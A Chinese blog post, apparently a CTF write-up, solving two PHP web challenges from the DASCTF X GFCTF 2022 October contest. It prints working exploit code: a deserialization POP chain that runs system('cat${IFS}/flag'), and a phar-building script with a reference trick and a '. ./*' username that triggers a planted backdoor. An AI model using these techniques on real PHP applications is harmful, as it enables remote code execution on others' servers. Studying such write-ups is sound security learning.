DASCTF X GFCTF 2022十月挑战赛！

最新推荐文章于 2022-11-05 19:47:01 发布
最新推荐文章于 2022-11-05 19:47:01 发布
阅读量1.4k 收藏 1
点赞数
分类专栏： 题解 笔记 文章标签： php web安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/trytowritecode/article/details/127513176
版权

**

EasyPOP

**

 <?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __invoke()
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}

class show
{
    public $ctf;
    public $time = "Two and a half years";

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }


    public function __toString()
    {
        return $this->ctf->show();
    }

    public function show(): string
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }


}

class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;

    public function __construct($name, $password)
    {
        $this->name = $name;
        $this->password = $password;
    }

    public function __sleep()
    {
        $this->hint = new secret_code();
    }

    public function __get($name)
    {
        $name = $this->key;
        $name();
    }


    public function __destruct()
    {
        if ($this->password == $this->name) {

            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }


    public function getPassword()
    {
        return $this->password;
    }

    public function setPassword($password): void
    {
        $this->password = $password;
    }


}

class secret_code
{
    protected $code;

    public static function secret()
    {
        include_once "hint.php";
        hint();
    }

    public function __call($name, $arguments)
    {
        $num = $name;
        $this->$num();
    }

    private function show()
    {
        return $this->code->secret;
    }
}


if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    $a->setPassword(md5(mt_rand()));
} else {
    $a = new show("Ctfer");
    echo $a->show();
}
Ctfer: Duration of practice: Two and a half years

sorry->destruct 里有个 echo $this->hint
可以触发 show->toString
因为 secret_code里面的show方法是私有方法
所以可以
让show->toString 触发 secret_code->call方法
然后让call方法调用this->num()
也就是调用自己的show方法
然后触发sorry->get 方法
再触发fine的invoke方法

利用代码

<?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
    private $cmd;
    private $content;

    public function __construct()
    {
        $this->cmd = 'system';
        $this->content = 'cat${IFS}/flag';
    }

    public function __invoke()
    {
        echo "start invoke";
        call_user_func($this->cmd, $this->content);

    }


}

class show
{
    public $ctf;


    public function __construct()
    {

        $this->ctf = new secret_code();
    }


    public function __toString()
    {
        echo "start tostring";
        return $this->ctf->show('show');
    }

    public function show()
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }


}

class sorry
{
    private $name;
    private $password;
    public $hint='hint is depend on you' ;
    public $key;
    public function __construct()
    {

    }


    public function __get($name)
    {
        echo "start get";
        $name = $this->key;
        $name();
    }


    public function __destruct()
    {
        if ($this->password == $this->name) {

            echo "ru kou";
            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }




    public function setPassword($password)
    {
        $this->password = $password;
    }


}

class secret_code
{
    protected $code;

    public function __construct(){
        $a=new sorry();
        $a->key=new fine();
        $this->code=$a;
       // $this->code=new sorry();
    }
    public static function secret()
    {
        include_once "hint.php";
        hint();
    }

    public function __call($name, $arguments)
    {
        echo "start call";
        $num = $name;
        $this->$num();
    }

    private function show()
    {
        echo 'chufal';
        return $this->code->secret;
    }
}


if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    //$a->setPassword(md5(mt_rand()));
}else{
    $b=new sorry();
    $b->hint=new show();
    $c=new secret_code();
    echo serialize($b);
    echo '<br>';
    echo urlencode(serialize($b));
}

在这里插入图片描述这里不知道为什么直接读出来了其实步骤里还差一个永真表达式
就是让
$this->password=&$this->name
指向地址这样判断就能成立这个永真表达式用在下面一道题里面来细细讲

hade_waibo

看了题解俺这个是非预期
但是大差不差
首先是cancanneed下面有任意文件包含
先去读file.php
在这里插入图片描述
发现他包含了class.php然后去读class.php

<?php
class User
{
    public $username;
    public function __construct($username){
        $this->username = $username;
        $_SESSION['isLogin'] = True;
        $_SESSION['username'] = $username;
    }
    public function __wakeup(){
        $cklen = strlen($_SESSION["username"]);
        if ($cklen != 0 and $cklen <= 6) {
            $this->username = $_SESSION["username"];
        }
    }
    public function __destruct(){
        if ($this->username == '') {
            session_destroy();
        }
    }
}

class File
{
    #æ›´æ–°é»‘åå•ä¸ºç™½åå•ï¼Œæ›´åŠ çš„å®‰å
¨
    public $white = array("jpg","png");

    public function show($filename){
        echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" οnclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
        if(empty($filename)){die();}
        return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
    }
    public function upload($type){
        $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
        return "Upload success! Path: upload/" . $filename;
    }
    public function rmfile(){
        system('rm -rf /var/www/html/upload/*');
    }
    public function check($type){
        if (!in_array($type,$this->white)){
            return false;
        }
        return true;
    }

}

#更新了一个恶意又有趣的Test类
class Test
{
    public $value;

    public function __destruct(){
        chdir('./upload');
        $this->backdoor();
    }
    public function __wakeup(){
        $this->value = "Don't make dream.Wake up plz!";
    }
    public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }
    public function backdoor(){
        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
            $this->value = 'nono~';
        }
        system($this->value);
    }

}

这里有个backdoor有个 system函数
但是过滤字母数字下划线
那种取反，异或，或在system函数里是用不了的
然后我突然想到了之前一次配合 临时文件上传的 执行
我们可以用. ./*来把当前目录下的文件当做shell文件执行
因为这里还有个文件上传点，文件包含处，很容易就能联想到
phar反序列化
反序列化时Test里面有个 __wakeup类
他会把我们的value值变掉那我们该怎么操作，才能让value是恒定的呢？
这里就用到了上面第一题说的恒定式
我们只需要让他指向一个变量的地址，这样就无法改变了
那么问题来了哪个变量是我们可控的呢？
我们看到user类里的wakeup方法会使$this->username=seesion[‘username’]
也就是登录时我们要输入的账户名

<?php
class User{
    public $username;
}
class Test
{
    public $value;

}
$b=new User();
$a=new Test();
$b->username=new Test();
$b->test=$a;
$a->value=&$b->username;

这样是不是就一目了然了，User也参加反序列化 然后里面的 Test也可以参加反序列化触发自己的destruct方法
那么我们应该怎么触发呢？
我想了想上传一个
内容为#!/bin/bash
ls /
的jpg文件说干就干
在这里插入图片描述然后制作一个phar文件

<?php
class User{
    public $username;
}
class Test
{
    public $value;

}
$b=new User();
$a=new Test();
$b->username=new Test();
$b->test=$a;
$a->value=&$b->username;
unlink("SKI12.phar");
$phar = new Phar("SKI12.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

然后我们重新登录一个名为 . ./* 的用户
在这里插入图片描述然后上传phar文件后缀改成jpg就行，然后用phar伪协议包含
在这里插入图片描述http://45f18fe7-0f31-430c-9cb9-c7bc52cfb08b.node4.buuoj.cn:81/file.php?m=show&filename=phar://upload/dasctfd8ff51fcd5e1c0a98903e8229f8bd847.jpg

这里第一次没执行成就重开了个环境重新上传
在这里插入图片描述
也就是
system(‘. ./*’);
然后当前目录下正好有一个内容是
ls /的jpg文件当做 ls / 执行了
然后列出了当前目录 然后我们就看到了flag文件
这里文件包含去读就行了

http://45f18fe7-0f31-430c-9cb9-c7bc52cfb08b.node4.buuoj.cn:81/file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc
在这里插入图片描述

base64解码
在这里插入图片描述先去复现剩下两道了 疲惫.jpg

递归 trash can
关注
专栏目录
DASCTF X CBCTF 2022九月挑战赛 appetizer
qq_65147345的博客
10-04 331
1. 将rop链布置到end中，泄露出libc地址，通过最后一个read进行栈迁移 2. 在第一个链中输出完之后再执行一个read向end写入第二个rop链 3. 第二个rop链就是常规的open，read，puts了
DASCTF X CBCTF 2022九月挑战赛 cyberprinter wp
qq_65147345的博客
10-02 416
通过格式化字符串漏洞改写libc中strlen的got表地址为one_gadget
DASCTF X GFCTF 2022十月挑战赛--Crypto
Luiino的博客
11-05 542
最后一步没搞出来，勉强就会这一道了（看了wp的情况下）。就是把flag截取成前一部分和后一部分。解出n_1，发现可以分解，有三个因数，那。对m进行随机数取余，在进行rsa基础加密。n2：取flag第20位字节之后的部分。传的参数是m2，即flag的后一部分。，解得k2 = 0，即m2 = m。n1：将flag右移200比特。看起来逻辑一样，基础rsa加密。得到了flag的前一部分。于是在模n_3的域上构造。
DASCTF X GFCTF 2022十月挑战赛
shinygod的博客
10-29 1172
Dasctf 复现
DASCTF X GFCTF 2022十月挑战赛 - pwn
z1r0的博客
10-28 901
所以思路很好想出来，首先可以利用rax来控制rsi进行read任意写，再利用rax控制rsi到read_got这里进行任意地址写，写成syscall。这个时候我们把rax设置成0x3b也就是execve，控制rdi为bin_sh，把rsi和rdx置为0，最后直接调用read就可以getshell了。发现了这一个gadget，而404018正好是bss的地址，可读可写，所以我们可以利用上面第一次的任意地址写将bss这里的地址写成bin_sh。这里的地方，并且最后还可以控制ret。
DASCTF X GFCTF 2022十月挑战赛-hade_waibo
qq_64201116的博客
10-26 896
这是一个非预期解，但是得到出题人的赞许，莫名开心，哈哈：cancan need处存在任意文件读取这种查文件+文件上传，多半就是考phar，但是这次没做出来主要卡在的过滤了本来的思路是上传一个文件1.jpg，内容如下：#!/bin/bashls /这个文件在/upload目录下面，只要命令是。
DASCTF X GFCTF 2022十月挑战赛 WriteUp
Whitebird的博客
10-24 4047
DASCTF X GFCTF 2022十月挑战赛 WriteUp
DASCTF X CBCTF 2022九月挑战赛 bar wp
qq_65147345的博客
10-03 229
思路： 1. 通过漏洞改写fd打tcache attack
2022DASCTF X SU 三月春季挑战赛-reverse-easyre（复现）
ookami6497的博客
04-03 900
先用PE查壳，一开始没看清楚，以为没壳，动调了半天，后来才看到是个ASP壳 用工具脱壳后分析main函数 int __cdecl main(int argc, const char **argv, const char **envp) { _BYTE v4[50]; // [esp+1Ch] [ebp-74h] BYREF _BYTE v5[50]; // [esp+4Eh] [ebp-42h] BYREF _DWORD v6[3]; // [esp+80h] [ebp-10h] BY.
2022DASCTF Apr X FATE 防疫挑战赛WP
LaniakeaHarry的博客
04-24 3516
NEFU-NSILIB下Maple战队分队于4月23日10:00 - 18:00所产WriteUp.
DASCTF X GFCTF 2022十月 Misc
mumuzi的博客
10-24 3990
DASCTF X GFCTF 2022 10月
DASCTF X GFCTF 2022十月挑战赛-re
Todog的博客
10-24 733
安恒2022.10月赛-re题解
DASCTF X GFCTF 2022十月挑战赛-web复现wp
m0_53567065的博客
11-02 1065
1.找魔术方法(因为我初学记不住),出口函数和入口函数接下来写exp这里注意一下要绕过fine 类的 __wakeup，将属性个数改成大于实际个数就行。看了个师傅的wp，知道了感觉比较方便的写法，就是写__construct()构造函数。
DASCTF X GFCTF 2022十月挑战赛web
m0_62422842的博客
10-30 1845
此篇题解涉及到了pop链 的构造，phar上传以及rce，php原生类以及ssrf打内网redis，还有flask框架
DASCTF X GFCTF 2022十月挑战赛 Writeup
末初的CSDN博客
10-28 1986
DASCTF X GFCTF 2022十月挑战赛 Writeup
DASCTF 2022十月挑战赛 web
qq_61768489的博客
11-04 816
拿到源码就看哪里可以命令执行RCE，看那些php特殊函数，这里的话 就是`call_user_func($this->cmd, $this->content);首先destruct就直接调用了这两个方法，newnewnew()里面的参数我们是可控的属性，flag()里调用了不存在的方法。这里为何还需要User对象用一个不存在的属性实例化 Test()类，确实不太理解，有和没有的区别如下。admin被注册了，考虑如何登录admin，用普通用户登录一下，有发布文章，修改密码，查看文章的功能。
DASCTF 2022十月挑战赛 web复现
akxnxbshai的博客
11-01 595
DASCTF X GFCTF 2022十月挑战赛web复现。
DASCTF X CBCTF 2022九月挑战赛 dino3d
qq_64201116的博客
09-18 589
我们已经知道parseInt(e).toString()至于这个t是什么还得分析分析。再卡好时间戳的时间，就可以得到flag。再于抓包中的checkcode。只需要使用md5(分数+t)要寻找checkcode。发现相同，这样就伪造出了。和checkcode。分，直接修改被拦截。
DASCTF X GFCTF 2022十月挑战赛 学习记录
m0_64815693的博客
10-24 2168
DASCTF X GFCTF 2022十月挑战赛
2022dasctf x su 三月春季挑战赛
最新发布
03-16
非常感谢您的关注和参与，2022年的DASCTF x SU三月春季挑战赛将会是一场精彩的比赛。我们将会为参赛者提供丰富多彩的挑战，让大家可以在比赛中不断提升自己的技能和能力。希望您能够积极参与，共同创造一个充满挑战...
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值